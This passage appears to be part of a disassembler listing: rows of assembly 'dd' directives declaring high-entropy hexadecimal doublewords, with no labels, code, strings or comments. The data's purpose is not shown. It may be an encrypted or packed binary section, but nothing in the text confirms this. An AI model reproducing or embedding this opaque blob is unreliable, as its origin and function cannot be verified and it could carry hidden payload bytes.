		dd 0B05FC440h, 95395377h, 0E778F57Eh, 0C46CED4Bh, 0B8AF030Bh
		dd 0D2FAE55Eh, 80229A6h, 0F5004358h, 68A320FBh,	88821527h
		dd 4CA89EEEh, 807EE724h, 0F9515F7Ah, 0E4EBD01h,	0C87067EBh
		dd 0FB129DDAh, 5AA1280h, 61B03C0Ch, 4CB72FB2h, 0BD8B7F51h
		dd 0F45C87F4h, 0BE16BDC1h, 3392E917h, 91BEC8AAh, 2B785018h
		dd 2D7F1D0Ch, 2B220E38h, 5507EDF5h, 6614A362h, 0AD68BF48h
		dd 0A501856Ah, 0E9F8218Ah, 0A8530F76h, 0F040B9CAh, 0FCC38534h
		dd 2D4A4049h, 0ED6A5A01h, 58C2316Bh, 55D346Eh, 0AFAD40EAh
		dd 1BDD4E61h, 4021ED58h, 0D85801FDh, 0BBD9186Dh, 0B15AD711h
		dd 0F434095Eh, 0A4562C1Ah, 59311509h, 8F7ACCB4h, 125B1B40h
		dd 377A1468h, 62A08A9Ch, 290FD07Fh, 135D842Fh, 79C18002h
		dd 4825D8E1h, 1B1732CAh, 40BF3A1Fh, 0E95221F8h,	80803E71h
		dd 0A00B4EE5h, 0C5E096A3h, 0C495EEBFh, 0EFF36BEFh, 182105DDh
		dd 21D8B57Eh, 0E0AC2A24h, 78720C60h, 1DB87AD7h,	0CB812F54h
		dd 0DE755673h, 945EF52Fh, 125949E3h, 0A44629C5h, 5373F142h
		dd 0BD6CB5Dh, 57D0F659h, 58660618h, 6FEEE917h, 49DB8B40h
		dd 9D5E39A3h, 0C600637Ch, 19CBF02h, 14FC2FE9h, 0A90BDC45h
		dd 0A8385C79h, 0A9C2BD71h, 4A10E618h, 6BB55FC4h, 12BE8BEBh
		dd 10E0CBE9h, 44F607BBh, 0A0812841h, 635E67A3h,	584F56B0h
		dd 0A6B7A89h, 2FD7E143h, 2D68BE57h, 0F7E09DE9h,	9BB8D729h
		dd 0DF2EA448h, 0B8B050D2h, 25D3B958h, 8D088DDh,	24A57D25h
		dd 48BD5CAh, 1703D006h,	0FD3F2F02h, 5A027D70h, 7D0BFC8Ch
		dd 14880080h, 28DF090Eh, 69BA0F45h, 6B186DA8h, 0FF0D4220h
		dd 63AC5A12h, 5B3142BBh, 0AF847FAEh, 4FF0E8C9h,	0A1A530ADh
		dd 26BC2E4Dh, 42E5A40h,	29654314h, 4035A374h, 0BD4AE90Ch
		dd 5D5E0082h, 32905E46h, 5C592C40h, 152CE057h, 0D2C54F01h
		dd 87E641FEh, 6117134Ah, 41B3241Eh, 3B035D19h, 744ED84h
		dd 0C065EF0Ah, 0D6BF81A0h, 0BE011D0Fh, 0EF08E492h, 8F68C230h
		dd 3918B731h, 3DC90621h, 54C177EAh, 9F513001h, 0C3C06C41h
		dd 0EB801358h, 0E2E4AF05h, 4F80628h, 20885BFBh,	6FB085Ah
		dd 650F5ABh, 0E8305F16h, 7E52910Bh, 95A80DC5h, 564C206Dh
		dd 54555A2Fh, 0A08A027h, 21516858h, 99368BEh, 927D9B03h
		dd 4B407D1Bh, 78225507h, 0ACE92663h, 2A0A71Eh, 13BC6850h
		dd 0D9488425h, 8F2F6229h, 71D0BA00h, 4C684C02h,	0BEE2B200h
		dd 0E9D129C6h, 66635224h, 0AF5BA7A0h, 0D804EF34h, 2D0022A6h
		dd 0B9560D9Ah, 3B873151h, 676A0A3h, 2328AEF3h, 0CB040C11h
		dd 577E8810h, 0C0E134EBh, 2394619Eh, 0DA055802h, 5D1FFA10h
		dd 0F6250A54h, 0DE711580h, 619BE909h, 0C8FC1594h, 0C22700B9h
		dd 6248D158h, 5155722Eh, 25004B47h, 6C3A66E8h, 0AB690CCEh
		dd 6DDF0FCDh, 0BE044342h, 5FFD9085h, 8270E0B5h,	3D30354Ah
		dd 5E535F59h, 128FF61Eh, 2AF2EC80h, 4C5F5525h, 0D813A231h
		dd 0C8B90400h, 0FE762D50h, 2B8D15C0h, 0FD634FFDh, 7F0860F7h
		dd 909F49Eh, 0D54FE9CEh, 0CDD168FFh, 264E2658h,	0AF741E31h
		dd 0ED0F7344h, 0DD253B55h, 7698E581h, 0C5F01864h, 956F18C2h
		dd 66BB244Ah, 295B16EEh, 670FC7A9h, 0C381970h, 0A12F2384h
		dd 0D0BEA49h, 14040C08h, 1A97C500h, 1F83650Fh, 0EC4501EDh
		dd 178DA4E6h, 7BE9A85Fh, 1E04CA40h, 57D8284Bh, 0EEE6F4AEh
		dd 0A82E410Bh, 34A8FD52h, 0F05F1308h, 562AE9C9h, 0E777BC32h
		dd 5D900F4Fh, 0F40A0ECEh, 1D48D620h, 447158A0h,	37F87E65h
		dd 9916812h, 17500D60h,	5A2248CEh, 118B2938h, 0CE894B34h
		dd 8BCBB576h, 1E3BFC22h, 0BD946F94h, 1880205Ch,	0B938E825h
		dd 0F16C133Fh, 0EEDF0161h, 2B687C6Dh, 0A9017A8h, 0FC29591Eh
		dd 983E1851h, 2516503Ch, 0A9B434E1h, 2F150BCBh,	205E77C6h
		dd 524FFBCh, 0FD136328h, 3B82DF0h, 0C532521h, 0B7F2335h
		dd 23BDFEEEh, 9C3078BCh, 7FC38BAAh, 24B5EA33h, 75DA83B3h
		dd 14516110h, 9607E5C0h, 51080206h, 0F28103AFh,	4F97B905h
		dd 0D3F1577Fh, 9AF6BDAFh, 7101AE9Ch, 5A10D95Eh,	7138A44h
		dd 2D864BAEh, 475DC529h, 126E8ADFh, 0AEE392DEh,	0AC4FCAE3h
		dd 286210F5h, 0B389EC5Fh, 88EE95DAh, 0EF048167h, 0C301180h
		dd 28BD1680h, 3A574862h, 0E9120890h, 0B6AFE061h, 0E6862507h
		dd 66B2D4F6h, 95A9750Dh, 6B3AAFFFh, 554BC2B9h, 0D5E2F512h
		dd 0E9FD98D7h, 2AE2BDE7h, 64ED71FFh, 0EFFCBE2Ch, 48975AA8h
		dd 0D37F3615h, 52100B75h, 5AC53BF4h, 40F8CBB4h,	680557B2h
		dd 4A070536h, 3B5D80EAh, 0AC901944h, 69B6FD70h,	103E3E21h
		dd 0BF041E86h, 0B8CB7ED3h, 33C017DAh, 0CF81F21Dh, 4D255F13h
		dd 617F0C82h, 10586C1Ah, 0C04889E7h, 2F4ED412h,	20625A59h
		dd 0E1890398h, 3D0F9205h, 0CD0D7BF1h, 0B4780D0Bh, 0C8EA6312h
		dd 0EB4E2841h, 405ACFFAh, 0E91287B0h, 7C0AFC14h, 0F63A8358h
		dd 0A2A631B4h, 0D6035E9Dh, 908E6C1h, 0DF6FA472h, 0F30A548Fh
		dd 0A8021337h, 12CD3E0Ch, 248CBDE1h, 24FCB0FAh,	8EA034BCh
		dd 0E56701C5h
		dd 9E3B2C7h, 17277177h,	68E280F5h, 0B0A9440Fh, 1BC52C3h
		dd 0FC936E57h, 0EA454A26h, 0BF5CF22Ch, 0E94268DBh, 49E7087h
		dd 0A15316B8h, 1DE8BF5Bh, 88BF5230h, 0D0F3F6E8h, 586766C5h
		dd 0ED337AB8h, 11ED0B0Ah, 78AFFD08h, 2D7DACBh, 750F79C3h
		dd 0CC770E3Ah, 0E078275Dh, 55721277h, 820AA76h,	253FF6B7h
		dd 0B02802CCh, 5C092C45h, 7FB28FF2h, 23CC6522h,	8922BE03h
		dd 0D5400A5Eh, 592105A9h, 0BF4BDA04h, 4915C2Ch,	4B4A4411h
		dd 0C391C156h, 0EB679320h, 1C73C5BEh, 140887AFh, 5E2C072h
		dd 7F4CFD4Dh, 649A096Ch, 0D3318277h, 0E4DF415Ah, 0B63D733Fh
		dd 0A1CFD3D7h, 0D5BD1A01h, 3194F55Ch, 4AB9843h,	0CE2D6673h
		dd 24F8EE0Ch, 430F0537h, 1E070DDDh, 0B5E97074h,	59967579h
		dd 6900089Ah, 0BF4D9421h, 9CE702Fh, 1C78303h, 76A4C900h
		dd 0E7EC21EDh, 8244E509h, 3575803Dh, 1214C975h,	0B42595E9h
		dd 5F40BF36h, 53DF0CBAh, 9F0633Eh, 6E9F2409h, 0B9B07721h
		dd 3500E8D1h, 48A1D6E7h, 2DE9C329h, 90DC7C7Dh, 2D4C35C2h
		dd 0B5737CAEh, 5C958B88h, 59A0EECBh, 86BF215Ah,	9F2C6228h
		dd 21978641h, 4DE83FF5h, 1612B2D7h, 39EE1056h, 0CD81A8CAh
		dd 3BC9584Ah, 0B7CB5EE0h, 6C8B2E19h, 0A9937C7Fh, 0AC0B2668h
		dd 0B010FA15h, 7ADF690Ah, 0C6A8005Dh, 25A63FB0h, 0DE502971h
		dd 95D5C522h, 962FC266h, 7130141Fh, 9F5B7AB8h, 7E3211E1h
		dd 95174CB3h, 0A52EA959h, 496957C9h, 7DE1C3F0h,	0C1F4A30h
		dd 5BAA739Fh, 846504Bh,	2D140C68h, 1ABC7F16h, 1EEA2A4Ch
		dd 0CB03C92Dh, 6DDC4446h, 0BD6EEFD9h, 4808D21Eh, 7F702D13h
		dd 6588BD00h, 0F58150C6h, 3F690162h, 8EDC16Bh, 9A0EB45h
		dd 5C953BF9h, 4452657Fh, 0D805EF28h, 8895D4B9h,	0D1529048h
		dd 1CEE2175h, 0EA18E769h, 7797C456h, 707795BAh,	0A7689916h
		dd 12250C77h, 57CE2DE9h, 0C2E5462Eh, 0D368E90Ah, 3BE61704h
		dd 399544FAh, 42C70018h, 1BA66538h, 0E0194D3h, 81EE49F9h
		dd 534BC6C1h, 0D0DB3352h, 60B345C4h, 0F12B1814h, 729F3A69h
		dd 118A0991h, 0A6F05F0Dh, 196A1C0Ah, 0A200A922h, 0E94A4861h
		dd 0E36AE132h, 56BA4E05h, 6A2CEE64h, 82B8B950h,	41E95658h
		dd 0A4465357h, 2D0212B9h, 5BD2042h, 165CF840h, 0F00BE8C1h
		dd 0E14150F4h, 40B5E541h, 91E8B507h, 20EAC032h,	0FA63A32Dh
		dd 0FAD82110h, 360BFD2Fh, 95C43E77h, 0AF90E0A2h, 0CA1FBC08h
		dd 0BBDA9D60h, 0E8F18012h, 0D17A9BCh, 5499FE88h, 36AFC8C1h
		dd 7DBD1560h, 44292C12h, 0E0AB8B12h, 8D27E9B2h,	0F0852EFh
		dd 3FDB13EAh, 80C2277Fh, 0CD2FF9DDh, 67E27A18h,	0A51097D0h
		dd 69A94021h, 64243B00h, 98090CBAh, 0DA0124F7h,	548100Dh
		dd 0BF26859h, 0B9978BEDh, 642680DAh, 318170E4h,	10D22F6h
		dd 0DBFD3EF3h, 3225E6A4h, 0DDB8E515h, 7B29E449h, 5DA22BB8h
		dd 480530D4h, 2BB652D8h, 5C53D010h, 0D523508Ch,	76FC3E45h
		dd 15702705h, 9C13205h,	72F35F08h, 1216F188h, 7F6A0766h
		dd 3665A211h, 0DD4276F1h, 62E9DCC3h, 310311A0h,	0DCD8F9F1h
		dd 575CFAFFh, 7250945Eh, 0F7018014h, 0C2345197h, 0BF00CE2Fh
		dd 580E478Ah, 6301BE76h, 4F7B4401h, 0EBC37B52h,	0F27FCA61h
		dd 576907B8h, 84E92B66h, 4039AECCh, 238E666h, 0E7ED65DEh
		dd 0EDB4185Ch, 1C26B16Ch, 0C31DC180h, 0CBE969C9h, 58462B58h
		dd 0B5C72463h, 0CCAB1A13h, 175332A5h, 8EFE3293h, 0F6C9879Ch
		dd 6848A17Fh, 306B01DAh, 0F85C4794h, 0C8096003h, 0C1752D59h
		dd 4E306DF9h, 0E7552F06h, 0E91FF45Eh, 2980E724h, 5AD187CAh
		dd 0B841E6F7h, 2D503EBCh, 0AE4A7813h, 6421BCC7h, 477007D3h
		dd 169D1662h, 58549756h, 0E612B10Ch, 9F5AF449h,	0E408EA79h
		dd 0AA211660h, 0A82A1F8Dh, 5681350h, 3684EEFDh,	1581D3Dh
		dd 7D575AEBh, 2ED2750h,	6860EE54h, 4E4F5FAAh, 936DB719h
		dd 0A80C4B1h, 0B0505866h, 574F3498h, 19857F97h,	1FB13C88h
		dd 31C82804h, 2E05D5BEh, 0B301D544h, 0F217FF13h, 0DACA5E1h
		dd 176B105Fh, 0A9306C31h, 5E65685Dh, 0F49BBC43h, 582704C1h
		dd 0B045F470h, 27E9FCA8h, 0C8665B17h, 59C30124h, 0A326A002h
		dd 57DDC63h, 0B235A968h, 0B8500156h, 424A6DBEh,	5790006Ah
		dd 397F9E68h, 4BBD0356h, 7F5835ACh, 0EF7EFF2Dh,	76589580h
		dd 4B51E953h, 0E7AED012h, 0AC24C37h, 83ED87EFh,	0F15FFA92h
		dd 5AF1D521h, 2DE94DF8h, 564ACA8Ch, 0DE2FA40h, 594E22ECh
		dd 69EACFFAh, 0D4D3040Dh, 0A5EE5B0Bh, 7F14CA9Fh, 5A088282h
		dd 0CA9F75F2h, 0D2C3842Eh, 46052EBDh, 0AF78BA65h, 0AC28DE0h
		dd 35F84364h, 6DA802B4h, 305646D9h, 5187858h, 11E9268Ah
		dd 0B7A2EB8Fh, 0DD7789DFh, 5C9A5144h, 4232764h,	0FF5D504h
		dd 82BC446h, 49CC1AD0h,	3D3C57FEh, 58A2125Ch, 0FF54A3F5h
		dd 0D56F300Eh, 0CF76C5FAh, 29509101h, 6E80E9EAh, 117475FEh
		dd 0DD5BDF5Ah, 4EF6EBE0h, 0C876620Ch, 0A39030E1h, 562F74FCh
		dd 0D71C60CCh, 1122114h, 0E7B00393h, 75F61620h,	1570229h
		dd 0B38057EBh, 7618637Eh, 0B2F75895h, 0A5CEA5C7h, 2F2D94F7h
		dd 4D510E64h, 9685BF93h, 60A472E9h, 5A73E9D2h, 0CAEB76B7h
		dd 3E18BF17h, 18B91CD7h, 320C621Eh, 46F14889h, 923B202Ch
		dd 0D6E1C02Dh, 88B30984h, 1734A380h, 0FE509424h, 35FA28A2h
		dd 0EA925E5Fh, 95AC7012h, 9078B6F5h, 10166794h,	38EB6E29h
		dd 0C4306325h, 3CC20F6Eh, 6862FE96h, 787A6051h,	3C6B1C6h
		dd 71EF293Ch, 21BC0C05h, 44E402D1h, 0A0E414F1h,	0CF24D706h
		dd 7AE941BDh, 2FF93BAAh, 0F5133205h, 537B8835h,	0EC5B1BEEh
		dd 6C5846A8h, 0EA5F120Bh, 729D8F5Fh, 0A458B9F3h, 311F1732h
		dd 5583097Dh, 0BA8BF2E7h, 0D46008E7h, 104BEA01h, 56800A62h
		dd 3FCB5C8Dh, 3990E5D1h, 322BECC2h, 0FA6C4001h,	0A9FEB7F0h
		dd 0D7C4DFE9h, 4AC0535Ah, 0F45C3h, 64E12D6Fh, 0E9481195h
		dd 7F2A4C27h, 1451381Ah, 5F27541Eh, 6451EC39h, 1CC150F8h
		dd 0A462902h, 951425F0h, 6881697Bh, 45751C07h, 0F7BD983Bh
		dd 4A15310Bh, 89A4D460h, 0DC7C10E9h, 0C6BBF525h, 4DE0F0F1h
		dd 0BEDE82F7h, 83183E68h, 0FA484797h, 0FDFE4AA4h, 951E88h
		dd 6F2808A6h, 6B4FFE68h, 0D0FFAA25h, 8591ED4Bh,	459B832Ch
		dd 725ADD49h, 4796B52Eh, 4400FB17h, 0C0C1FEE2h,	0F6041EE9h
		dd 6787BAD1h, 0A2CDB652h, 0A7D1D9FCh, 264A923Eh, 611FFE6h
		dd 0E8109F67h, 0F2261375h, 0AAE7C4FEh, 0AA4A9CA2h, 2FCA813h
		dd 647F4B25h, 13749748h, 457B0259h, 0EBBD39DCh,	52C956D9h
		dd 5F7741BAh, 0EFCBD0F7h, 0A75E38AAh, 45C09187h, 9F875EA6h
		dd 0F102D87Ch, 0A809677Eh, 5F040797h, 90BE30E9h, 0FEB7B466h
		dd 2DADC44Ah, 0E1202507h, 0A5C9A758h, 939601D9h, 0D859CA88h
		dd 8EF01AF2h, 62C9244Bh, 0B649B1E0h, 9489448Bh,	0ECA8BB98h
		dd 0AE3855A9h, 0E9176FCAh, 2B4DA1BEh, 51F19FBCh, 7F446154h
		dd 0FFC321E4h, 6750DFCAh, 48DD34A2h, 0B0D32987h, 8100E961h
		dd 0A11E66F3h, 2ACCA60Ch, 39956655h, 0F4F4D5F7h, 1DD9B682h
		dd 2F39442Dh, 0B10FE77h, 0C05B2F07h, 129B0D4Ch,	0BC3A1709h
		dd 3C88871Ch, 0CFE7FF0Bh, 47C3E985h, 3EFAED1h, 0D7309AE3h
		dd 0AA31A06Eh, 575E244Eh, 0A53F69DCh, 90EF2886h, 8D1B727h
		dd 4EA50569h, 0DFE130EFh, 6017DD73h, 77BE8468h,	0C1E84707h
		dd 7E0349E9h, 10121493h
		dd 6F2089h, 0BE7CD81h, 92554505h, 20014B2Fh, 27CDF5B8h
		dd 31389912h, 0E02B64AEh, 0F3297543h, 0E1A561FEh, 0C104DEEFh
		dd 2E459D2Fh, 0E80964EBh, 257ED45Dh, 77B1E219h,	0F76207FCh
		dd 3E6A41F9h, 4E682050h, 69C7C559h, 1CFD2022h, 91905815h
		dd 1F11CB0Eh, 0D90172D7h, 0E3D1B4B3h, 0C580846Fh, 8958BB20h
		dd 4163A0Ch, 0A96861A8h, 8806CC70h, 0C66BC77Fh,	0AC660497h
		dd 4B5A1E91h, 9F0AE4F4h, 0DD7A4B56h, 0DD4971F1h, 0F7051F59h
		dd 9DEEFEEFh, 789AF014h, 0CAE1D5A9h, 0C1D59924h, 46C199EFh
		dd 0F8904590h, 5F544AB5h, 681C8BD8h, 0F5270E9Bh, 525A76B1h
		dd 4BC6AF20h, 172C1809h, 20A3582Dh, 9F806004h, 0E13F8F0Ch
		dd 3CB20E10h, 10FA96E7h, 914A07A4h, 0ED0DE23Ah,	0F8DDE67Ch
		dd 0D9E92FDEh, 0E186B1C1h, 0D0D7E880h, 0C5CE0AC7h, 0D8BEC683h
		dd 0D8E965F6h, 722D2A32h, 58E43C02h, 8A05C829h,	0DA622C07h
		dd 30420FFEh, 965D66D0h, 0E202F3DFh, 0F9A0895Ch, 0EE812BB4h
		dd 479832C9h, 3909AF3Eh, 273C56D2h, 515A3556h, 534608F0h
		dd 23FDE906h, 17E9904Dh, 0AF644A1Dh, 4C080950h,	289D27E1h
		dd 58BAD400h, 62FC8466h, 0EC3FF4C9h, 0A1A75452h, 1C92445Eh
		dd 0E970D59Eh, 0E8400A2Dh, 80282B6Ch, 309ED80h,	0C4071D68h
		dd 96B1279Eh, 0E9853867h, 0BAEC695Dh, 0B775FCA4h, 0F7067D1Bh
		dd 8B97F05Fh, 5834743Bh, 1C943EB6h, 92546A5h, 6D29262Dh
		dd 51454D4h, 3BD74507h,	99A41AA3h, 796A4216h, 0D2669877h
		dd 1869BDBh, 622517AAh,	9384Eh,	0AC43EEC6h, 5FD4E96Eh
		dd 0B54BD190h, 1CAF05C5h, 0F8FE6DEBh, 0C9B27C7Ah, 286DB7Fh
		dd 5923E9D5h, 0FE09736Bh, 762F74E4h, 18A10001h,	50420D1Eh
		dd 8CCD6824h, 0D1586900h, 2FE940E8h, 2BCA3A9Fh,	0F844F257h
		dd 2721966Ch, 574BFFF9h, 6A2B9996h, 2D088937h, 40BD0EF0h
		dd 27DC825h, 723ACE83h,	3C30225Dh, 595ADA91h, 0BD5F9236h
		dd 5550A08Dh, 277B24E9h, 12899341h, 0D27AEA3h, 44E118E5h
		dd 2A2AE07Bh, 0EA08CC89h, 5F0C6A95h, 0E9257372h, 0DCB5E22Ch
		dd 45F5A5CBh, 9F5E699Ah, 7AFEF442h, 0FB6095A2h,	9BFA3D12h
		dd 0DDF8D3DAh, 649CCBF8h, 30278348h, 4DBFE964h,	800EF2D3h
		dd 0F567CCCDh, 0EB5AC24Eh, 4A8BF5DEh, 20F4E62Ah, 584ED90Ah
		dd 0C0520F1Eh, 4FF0D253h, 660340DFh, 7A862D1Dh,	8B3BF82Ch
		dd 0DD3F1CBFh, 7ED4BFE2h, 13BCD9BFh, 55096728h,	5A31DF0Ch
		dd 5D04DA18h, 0DFF2D7ABh, 9EC20569h, 79BA5E57h,	42410902h
		dd 153335B9h, 0A1A2E912h, 0AFAA1438h, 6E033128h, 8CC4E5FAh
		dd 5A3E901h, 0D7BEF921h, 0D103AFCh, 8859096Fh, 2C64F7FAh
		dd 83A893FCh, 4A07BE56h, 465BBC42h, 643DB1C2h, 0D2140BC7h
		dd 7DF6AA1Ch, 1C52F3Fh,	6C896806h, 520BC863h, 0E771DB6h
		dd 96E34CFFh, 43295BD9h, 75A7EBD6h, 3E357CD1h, 60E64AA8h
		dd 16014749h, 0F4B0EE30h, 0AC544E34h, 0FE07A6A2h, 0F5F352F0h
		dd 5D5AD000h, 8F77222Dh, 1E10154Ah, 92680B07h, 82887160h
		dd 3C2B4D34h, 4609A17Fh, 54E6E537h, 804A3F3Ah, 0D88B013Bh
		dd 0FD2DC225h, 1DE9D701h, 2D4A4D66h, 68EF9700h,	424A8FEDh
		dd 775A2972h, 0E4AD1079h, 0BB533D3Ah, 175E3A05h, 0DBFE8187h
		dd 85E00494h, 1C331FD8h, 67610D6Dh, 80EAC018h, 0D46AC227h
		dd 0C3E95BB7h, 30D3C171h, 0B5400F2Fh, 0D8CA0481h, 0C0037E10h
		dd 0E7547F63h, 127A3B8h, 885CF94Ch, 0F22F0D36h,	85E97C8h
		dd 0B2CDE82Dh, 0C231C071h, 0F6C7B958h, 0D0CB1525h, 4874C945h
		dd 0F5977950h, 0C6B5EB1Eh, 32E90CF8h, 0D8D8FEEBh, 2F9816A4h
		dd 9E2306BEh, 0C1E5DCADh, 6855E868h, 0C1AFD2C3h, 41C301ACh
		dd 161DC5Bh, 0EE4277B6h, 0F65C0158h, 4EC2FE1h, 0B91E0648h
		dd 2D4D282Ch, 6820E7CEh, 62B6767Dh, 5CC5833Dh, 0E6BAB077h
		dd 3BC0286Ah, 7A4209B0h, 27DEF61h, 5F1AFFB0h, 0C29F25CEh
		dd 856179B5h, 88E011E9h, 1713803Dh, 0D0E00115h,	0F8EA4EE8h
		dd 7DCD206Eh, 694804BFh, 0C2F78715h, 10290B8Fh,	807A0E59h
		dd 3924685Ah, 5167E449h, 1AD0E2F4h, 1380D7B1h, 8728D8C1h
		dd 2C5B5348h, 1EC885A7h, 96249C2h, 0F3017EA3h, 90C8FEEAh
		dd 22138B68h, 82802CEDh, 4B42BA5Fh, 53C4AAB1h, 0A50FCAAh
		dd 0F1FAA4E9h, 0C7A85D13h, 0A588982Ah, 97426A4h, 4ECF9E72h
		dd 11D26805h, 0FC1BD34h, 0B900A55Ah, 1507F42h, 8C966C81h
		dd 0CCB81B24h, 0DFB81035h, 676B1658h, 5AD74209h, 99A674A9h
		dd 275496D1h, 0A4FBE4B1h, 3C12CE18h, 0C9125AB7h, 0EB4AFABCh
		dd 257FE58Ah, 0C2E83ECFh, 46401130h, 660F1287h,	0E15FBA3Ah
		dd 7E4A4F05h, 3F6BD380h, 0BBFF4AC4h, 887F752Dh,	869F3180h
		dd 2DCF1296h, 83756E68h, 1D39EE05h, 0C9EA2114h,	6CF76665h
		dd 9611F2EEh, 0A0749C83h, 2077504Ah, 5C28F5E2h,	9D1A8869h
		dd 575D580Bh, 6DA0C8B8h, 2ABB3BFDh, 6E8E483Dh, 68BB336Eh
		dd 0DB09F7FAh, 4EDFE5E9h, 3FC4BF94h, 0D64B9290h, 0A4F9AEAh
		dd 8E1B75E9h, 153CD78Ch, 0B49D4460h, 5AF77F13h,	0D00D7E8h
		dd 18803AA9h, 0B912BA05h, 12EE72ACh, 3B8CEFEEh,	4ABF0457h
		dd 83260A43h, 0D5B4805h, 0E982F6A8h, 0EEFE8886h, 6FFD4EBFh
		dd 0DA69466Ah, 7A8B9A61h, 52279DCEh, 2D4F703Ch,	0E90B0AB9h
		dd 764D219h, 651C6812h,	0C8D3BAE8h, 0E025E908h,	0AA30573Ah
		dd 2B17FDBEh, 92AC0740h, 1645B409h, 8E1A2B02h, 69EF1F5Eh
		dd 25DDA0FDh, 24C5A61h,	1E88312h, 0D141FB35h, 0BAA2B10h
		dd 0DACDEBB6h, 0E961EF2Eh, 313AC06Bh, 809F1AE0h, 7B75EA7Bh
		dd 9D5B1466h, 12F30D2Ah, 98C8AF51h, 0F2EA54FAh,	0A94A63BCh
		dd 0ED76B84Eh, 0A175E695h, 563F1E24h, 41C4FAF6h, 121A6786h
		dd 0E5422973h, 0EC080458h, 16FBA545h, 0ABB45604h, 0AB4BCD8Eh
		dd 0E7BA9F21h, 0D7599B42h, 0F13EF224h, 0AD717815h, 5163AE3Eh
		dd 0FE4F5893h, 0DA865B0Bh, 0B010186h, 0C013C27Dh, 0FA3103E2h
		dd 0B03A2134h, 0D80BF67Fh, 2285D04h, 7D5CE9E6h,	326CCC0Bh
		dd 62F75330h, 1620E581h, 0BE333068h, 97D817CCh,	688111F9h
		dd 78BF1A54h, 97C28DF4h, 0C20E64Ch, 5F53093Bh, 40F5315Bh
		dd 95408016h, 1AFE9923h, 808BEBCFh, 5740E2D5h, 1EB03283h
		dd 0C3F7264Eh, 4109BFD6h, 28FC5895h, 0B7835B66h, 2C698BC0h
		dd 786BEC7Fh, 6C85F7C1h, 65BB8007h, 7C5FCF4Bh, 0E9BB9184h
		dd 0FF58258Fh, 6325876Ch, 0E995F61Bh, 6C44F080h, 2BF084Ah
		dd 0E603B58Bh, 0A5F33C61h, 68386202h, 5BE65B1Dh, 4C4FDCF0h
		dd 29E46FCDh, 3FAD2712h, 3AC5ABC8h, 9FEB8080h, 0DD69025Ch
		dd 6809C653h, 7691E2AFh, 0C0D070D0h, 12F4E588h,	906B3C4Dh
		dd 3045F991h, 8FA5204Ah, 99145FCEh, 515AE895h, 7866810Fh
		dd 31384CABh, 95352C2Eh, 0A543AEE9h, 5FAD7FC7h,	0ECA3C405h
		dd 2A300B43h, 890EF73Fh, 0A07669C2h, 0B6E90B40h, 0C311F3AAh
		dd 5EF201D6h, 0D4102767h, 17680933h, 0D1B4D708h, 3B175A5Fh
		dd 56B4D2AAh, 10021BE0h, 504623B1h, 5B1DB230h, 0B14AB85Dh
		dd 322C5271h, 3C0676C1h, 38E5102Fh, 11235869h, 31A5F509h
		dd 9E0D8DFh, 647541EAh,	0FC6B1887h, 7C7FEE7Bh, 0DCC1EDF0h
		dd 97111E4h, 18310C86h,	0EA05F4EFh, 258B5AC6h, 0D1C831Ah
		dd 14001C08h, 0C92849E9h, 41FCF8A5h, 5734C0C2h,	3CFA8916h
		dd 41B2B35Bh, 612CEE4Fh, 30474A3Dh, 0E60A81B1h,	68B5CABDh
		dd 4D4CE951h, 0ED2614FEh
		dd 0CDC04E0Eh, 0E015C98h, 8798EA0h, 757AEB27h, 89622DAFh
		dd 0E6603EFAh, 69C217D5h, 0E7215DEAh, 80E02783h, 0F7FAB92Dh
		dd 7C50DF25h, 624B4785h, 1E492173h, 2570F4CFh, 54006E97h
		dd 5B668A33h, 0E481E845h, 0F7C8A6C1h, 5CE8EE04h, 0D0E4DCC5h
		dd 753BB898h, 0BD17C702h, 0C2388AC9h, 0F0C1DF7Dh, 800B3CE3h
		dd 2E761FBFh, 0A274B71Dh, 0E9412CACh, 9448D191h, 775D1614h
		dd 52081667h, 374900CBh, 2160EE3Bh, 0F82CCE4Bh,	7DDE5CF7h
		dd 45943004h, 0CF81AE58h, 0BB00BEEFh, 0E712641Eh, 0AFC5296Fh
		dd 80A0A2EFh, 6776BB53h, 681738F6h, 0F5D6F5CEh,	0D801001Fh
		dd 7EC0BD51h, 65094840h, 50D7F75Fh, 0A7CA028Dh,	0F989E6B3h
		dd 58D5765Fh, 48D23787h, 0C924A3BFh, 7FBF23Dh, 0C33FB7EEh
		dd 87BB375h, 35EF1700h,	29D1232Fh, 568FA2F9h, 2E762783h
		dd 0E6B3BB0Bh, 0FED4D76Fh, 0CCBAF013h, 0FC15E94Ch, 21EBFEE3h
		dd 17F11A01h, 5B021ADCh, 7671A568h, 20C86088h, 0D8977680h
		dd 6EFA9D47h, 0E73B55E0h, 9B0F7B39h, 64122046h,	0F4EA908Bh
		dd 32246863h, 2DC2C65Eh, 318D0B98h, 3BFC2EF2h, 0FC2EE441h
		dd 55F87F4Ah, 0FAA9E92Fh, 6C56364h, 0C3F8AEDh, 89A01753h
		dd 9484E237h, 9B68BD90h, 57640669h, 0D9F3558h, 48C1013Ch
		dd 8FEB7EB4h, 34545028h, 7AD105FFh, 0B9806F10h,	20117D3Bh
		dd 8325316Bh, 2570E6F6h, 0A9F17FD5h, 0A1535045h, 591E5B0Bh
		dd 93A8B167h, 15E805ADh, 63690C04h, 0CD85A217h,	0A4F73056h
		dd 0D8F74000h, 0C6EA6505h, 70357C01h, 50753222h, 0BF4A3238h
		dd 0E684F2C4h, 506017ACh, 0D24AC7EBh, 42FA094Eh, 0C328E99Ah
		dd 20D6E6DDh, 0F4C10720h, 7F46D298h, 0A8D2BB47h, 42D192F8h
		dd 21587552h, 606CFBA0h, 487A5216h, 3C8A32ADh, 0B2FEADC6h
		dd 93384C9h, 0BB3BEBE1h, 3AEEFB72h, 16D5C657h, 680B1B68h
		dd 0B0BD5F6Ah, 4FF0E992h, 0C743EF9Bh, 62C892A8h, 98A71CCEh
		dd 68124966h, 0DAC1F90h, 2D50DC9h, 5F32E9C4h, 3CE636A0h
		dd 160D956h, 0CF086452h, 9549818h, 65F82E4Eh, 0C5BC90FDh
		dd 19310410h, 0FFDDF779h, 0BBFB524h, 0AA01A99h,	3F7DD2BBh
		dd 0CB812101h, 43786DB1h, 13687230h, 0E1148E74h, 1A709D49h
		dd 2F38794h, 0D322F9EDh, 89DF3Bh, 36350CDFh, 123506EEh
		dd 0FDE5E903h, 5C50359Eh, 29D79756h, 0EE585709h, 4FA94CBDh
		dd 0E93491EFh, 75B138BFh, 0FEE1E716h, 401839FEh, 0DB6EC199h
		dd 0F84B2A4Eh, 0EED5055Bh, 0F76A0C19h, 0FB5F8A30h, 470BA572h
		dd 427D6E95h, 51080A5Ah, 0DAE1D62Dh, 46BA0616h,	0B19F3B5h
